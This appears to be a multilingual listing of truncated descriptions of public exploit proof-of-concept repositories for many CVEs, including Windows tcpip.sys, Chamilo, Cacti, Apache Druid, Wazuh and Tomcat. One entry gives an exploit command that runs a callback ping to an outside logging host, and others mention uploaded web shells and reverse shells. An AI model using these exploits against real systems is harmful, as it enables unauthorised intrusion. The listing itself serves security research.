CVE-2024-38063-Medium

Ini adalah poc agak tidak stabil untuk CVE-2024-38063, RCE di tcpip.sys yang ditambal pada 13 Agustus 2024. persyaratan root@kitploit: pip3 install scapy penggunaan Ubah bidang dalam skrip: iface - Jika Anda memiliki beberapa adaptor, Anda harus memilih mana yang akan digunakan untuk mengirim...

CVE-2023-34960

CVE-2023-34960 Iniezione di Comandi in Chamilo con upload automatico della shell. usa la tua logica controlla il percorso della directory nel tuo risultato della vulnerabilità, poi puoi trovare la tua shell di accesso wso.php Per Installare ed Eseguire root@kitploit: $ git clone...

RCE-Cacti-1.2.22

RCE-Cacti-1.2.22 Questo è un codice dell'exploit CVE-2022-46169, che ho ricreato utilizzando Python3! Se per caso stai facendo una macchina di HTB, questo potrebbe esserti utile... 🤞✨...

PageTableInjection

PageTableInjection Iniezione di codice, iniettare payload malicioso attraverso le pagetable pml4. Introduzione Questa è solo una prova di concetto della tecnica di iniezione delle page table per iniettare codice malicioso in processi utente arbitrari. Su Windows e su alcuni sistemi operativi...

CVE-2025-6335

Titolo: Vulnerabilità di esecuzione di comandi tramite iniezione di template in dedeCMS 5.7 sp2 BUGAuthor: Ewoji Versione interessata: dedeCMS 5.7.2 Fornitore: Shanghai Zhuozhuo Network Technology Co., LTD Software: dedeCMS File vulnerabili: /include/dedetag.class.php Descrizione: 1. Dopo...

CVE-2021-20837

CVE-2021-20837 MovableType XMLRPC - RCE...

CVE-2019-11224

Esecuzione di codice su Modero AMX CVE-2019-11224 Questo repository contiene alcune fonti su CVE-2019–11224 https://link.medium.com/zukA0oCnV8 perché ho notato che il collegamento non funziona più sul sito ufficiale NIST. I dispositivi Modero AMX sono essenzialmente pannelli touch per sale...

CVE-2018-14772

CVE-2018-14772 informazioni Questo è un exploit PoC di Remote Code Execution per CVE-2018-14772, una vulnerabilità che ho scoperto nella piattaforma di condivisione file pydio. Richiede le credenziali di amministratore dell'applicazione pydio per funzionare. Puoi eseguire l'exploit in questo modo...

Eaton-UPS-Companion-Exploit

Übersicht Die Eaton UPS Companion Software überprüft jede Woche auf ein Update über eine unsichere HTTP-Verbindung und führt eval auf den Inhalt der Update-URL aus. Dadurch kann ein Angreifer eine JavaScript-Funktion erstellen, die die bereits in der Backend-Software vorhandenen...

CVE-2024-23692

CVE-2024-23692 - Rejetto HFS Remote Code Execution RCE A tactical documentation and exploit guide for CVE-2024-23692 , an unauthenticated critical Remote Code Execution RCE vulnerability affecting Rejetto HTTP File Server HFS versions prior to 2.3m. This guide leverages an In-Memory Reverse Shell...

CVE-2026-64638-POC

CVE-2026-64638 — XSS2Shell Reflektiertes XSS vor der Authentifizierung → Remote-Codeausführung im WordPress-Core ⚠️ HAFTUNGSAUSSCHLUSS: Dieses Repository dient ausschließlich autorisierten Sicherheitsforschungs- und Bildungszwecken. Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören ode...

Spring-Boot-Tomcat-CVE-2025-24813

CVE-2025-24813: Apache 1. Spiegazione Tomcat è vulnerabile a causa di due vulnerabilità separate, la prima è una debolezza in DefaultServlet che consente put parziali per scrivere una directory temporanea vedi:...

CVE-2022-45701

EN Questo progetto fornisce uno script Python per sfruttare una vulnerabilità di esecuzione remota del codice RCE CVE-2022-45701 in alcuni router Arris. La vulnerabilità consente agli utenti autenticati di eseguire comandi arbitrari sul dispositivo manipolando le impostazioni SNMP tramite...

ShellEvil

ShellEvil Jonatas Fil Dkr Julio Della Flora Thiago Sena THX Exploit di shell interattiva Struts 2 DefaultActionMapper per CVE-2013-225 S2-016 Struts 2 DefaultActionMapper supporta un metodo per cambiamenti di stato di navigazione a corto circuito prefissando i parametri con "action:" o "redirect:...

CVE-2021-26814

CVE-2021-26814 Un semplice PoC in Python per sfruttare CVE-2021-26814 e ottenere RCE su Wazuh Manager v.4.0.0-4.0.3 tramite il servizio API. Per eseguirlo, basta rendere eseguibile lo script .py e lanciarlo con i parametri richiesti. root@kitploit: PoC.py -h -user USERNAME -pwd PASSWORD -lip SRCI...

CVE-2021-25646

Apache Druid Remotecodeausführung CVE-2021-25646 von j2ekim Verwendung root@kitploit: python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Artikel zur Reproduktion der Sicherheitslücke https://www.adminxe.com/2109.html Nutzungshinweise D...

NoFaxGiven

NoFaxGiven - Esecuzione di codice e persistenza nel servizio FAX di NETWORK SERVICE Un'estensione di routing fax è una DLL che aggiunge funzionalità di routing al servizio fax. Più estensioni di routing fax possono risiedere sullo stesso server. Quando il server fax riceve una trasmissione fax,...

log4j

Log4J Zero-Day log4j OSINT निष्कर्षों का संकलन, जिसमें Detection, Attack Surface, Mitigation, IoCs शामिल हैं। I. अवलोकन सारांश यह कमजोरी किसी भी हमलावर को, जो लॉग संदेशों या लॉग संदेश मापदंडों में टेक्स्ट इंजेक्ट कर सकता है, सर्वर लॉग्स में दूरस्थ सर्वर से कोड लोड करने में सक्षम बनाती है। लक्षित...

cve-2021-42013-httpd

Dockerizzazione di una Vulnerabilità: cve-2021-42013 Questo progetto mira a dockerizzare una vulnerabilità specifica utilizzando Docker. L'obiettivo è creare un ambiente isolato nel quale la vulnerabilità possa essere sfruttata e testata in modo sicuro. Applicazione vulnerabile Apache HTTP Server...

CVE-2018-17553

CVE-2018-17553 CVE-2018-17553 PoC Navigate CMS versione 2.8 e precedenti Questa proof of concept è stata messa insieme mentre lavoravo sulla macchina Black Pearl di TCM. Non riuscivo a trovare nessuno che avesse pubblicato un PoC oltre al semplice utilizzo di Metasploit. Poiché sto evitando...